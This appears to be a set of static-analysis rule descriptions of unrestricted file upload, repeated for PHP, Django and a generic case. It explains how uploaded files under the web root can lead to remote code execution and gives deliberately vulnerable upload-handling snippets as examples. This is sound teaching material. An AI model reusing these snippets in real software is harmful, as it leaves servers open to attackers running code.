Regardless of the language in which a program is written, the most devastating attacks often involve remote code execution, whereby an attacker succeeds in executing malicious code in the program's context. If attackers are allowed to upload files to a directory that is accessible from the Web and cause these files to be passed to the PHP interpreter, then they can cause malicious code contained in these files to execute on the server.

Example 1: The following code processes uploaded files and moves them into a directory under the Web root. Attackers may upload malicious PHP source files to this program and subsequently request them from the server, which will cause them to be executed by the PHP interpreter.

<?php
$udir = 'upload/'; // Relative path under Web root
$ufile = $udir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $ufile)) {
    echo "Valid upload received\n";
} else {
    echo "Invalid upload rejected\n";
} ?>

Even if a program stores uploaded files under a directory that isn't accessible from the Web, attackers might still be able to leverage the ability to introduce malicious content into the server environment to mount other attacks. If the program is susceptible to path manipulation, command injection, or remote include vulnerabilities, then an attacker might upload a file with malicious content and cause the program to read or execute it by exploiting another vulnerability.

Regardless of the language in which a program is written, the most devastating attacks often involve remote code execution, whereby an attacker succeeds in executing malicious code in the program's context. If attackers are allowed to upload files to a directory that is accessible from the Web and cause these files to be passed to the Python interpreter, then they can cause malicious code contained in these files to execute on the server.

Example 1: The following code processes uploaded files and moves them into a directory under the web root. Attackers may upload malicious files to this program and subsequently request them from the server.

from django.core.files.storage import default_storage
from django.core.files.base import File
...
def handle_upload(request):
  files = request.FILES
  for f in files.values():
    path = default_storage.save('upload/', File(f))
...

Even if a program stores uploaded files under a directory that isn't accessible from the Web, attackers might still be able to leverage the ability to introduce malicious content into the server environment to mount other attacks. If the program is susceptible to path manipulation, command injection, or remote include vulnerabilities, then an attacker might upload a file with malicious content and cause the program to read or execute it by exploiting another vulnerability.

Regardless of the language in which a program is written, the most devastating attacks often involve remote code execution, whereby an attacker succeeds in executing malicious code in the program's context. If attackers are allowed to upload files to a publicly executable directory, then they can cause malicious code contained in these files to execute on the server.

Even if a program stores uploaded files under a directory that isn't publicly accessible, attackers might still be able to leverage the ability to introduce malicious content into the server environment to mount other attacks. If the program is susceptible to path manipulation, command injection, or remote include vulnerabilities, then an attacker might upload a file with malicious content and cause the program to read or execute it by exploiting another vulnerability.